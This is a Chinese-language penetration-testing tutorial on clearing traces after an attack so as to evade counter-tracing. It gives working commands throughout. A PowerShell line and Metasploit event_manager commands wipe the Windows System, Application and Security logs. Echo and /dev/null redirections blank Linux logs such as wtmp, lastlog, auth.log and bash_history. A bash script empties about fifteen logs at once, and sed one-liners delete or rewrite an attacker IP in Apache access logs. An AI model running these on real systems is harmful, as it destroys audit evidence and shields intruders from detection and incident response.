渗透测试-28:清理痕迹
清理痕迹
- 渗透最后阶段需要痕迹清理,是为了躲避反追踪和隐藏攻击的一种方式
- 相关技术涉及系统、网络、应用日志的删除/混淆/修改,数据恢复技术对抗,系统还原机制利用,安全审计设备的干扰和停用等
清理Windows痕迹
Windows 中需要清理的日志有:系统日志(SysEvent)、应用程序日志(AppEvent)、安全日志(SecEvent)
win+r
+eventvwr.msc
打开事件查看器- 注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog
系统日志清理
- 记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃及数据
- 默认位置:
C:\Windows\System32\winevt\Logs\System.evtx
应用程序日志清理
- 包含应用程序或系统程序记录的事件,主要记录程序运行方面的事件
- 默认位置:
C:\Windows\System32\winevt\Logs\Application.evtx
安全日志清理
- 记录系统安全审计事件,包含各种类型登录日志、对象访问日志、进程追踪、特权使用、账号管理、策略变更和系统事件
- 默认位置:
C:\Windows\System32\winevt\Logs\Security.evtx
powershell
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
MSF
# 显示日志信息
run event_manager -i
# 清除指定日志
run event_manager -c System
# 清除所有日志
run event_manager -c
清理Linux痕迹
Linux 大多数日志文件就是文本,常见痕迹清理位置:/var/log
,该目录下的常见日志文件有:
# 安装日志
dpkg.log
# ail, cron, daemon, auth 等日志
messages
# 用户信息日志
user.log
# 用户登录和使用权限机制日志
auth.log
# 系统启动日志
boot.log
# 登录失败日志
btmp
# 系统后台守护进程
daemon.log
# 登录用户信息
lastlog
清理日志
- 清除登录系统信息:
echo > /var/log/wtmp
- 清除命令历史记录:
echo > /root/.bash_history
- 清除用户最后一次登录时间:
echo > /var/log/lastlog
- 清除当前登录用户的信息:
echo > /var/log/utmp
- 清除安全日志记录:
cat /dev/null > /var/log/secure
- 清除系统日志记录:
cat /dev/null > /var/log/messages
脚本清理
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
echo > /var/log/dpkg.log
echo > /var/log/daemon.log
echo > /root/.bash_history
history -c
清除Web日志
- web日志会记录用户对web页面的访问操作
- web日志会记录访问时间、访问IP地址、访问资源,以及是否访问成功等信息
清除Apache日志痕迹
- 搜索日志:
find / -name “*access*.log”
- 删除:
sed -i '/<产生日志的IP>/'d /var/log/apache2/access.log
- 替换:
sed -i 's/<产生日志的IP>/127.0.0.1/' /var/log/apache2/access.log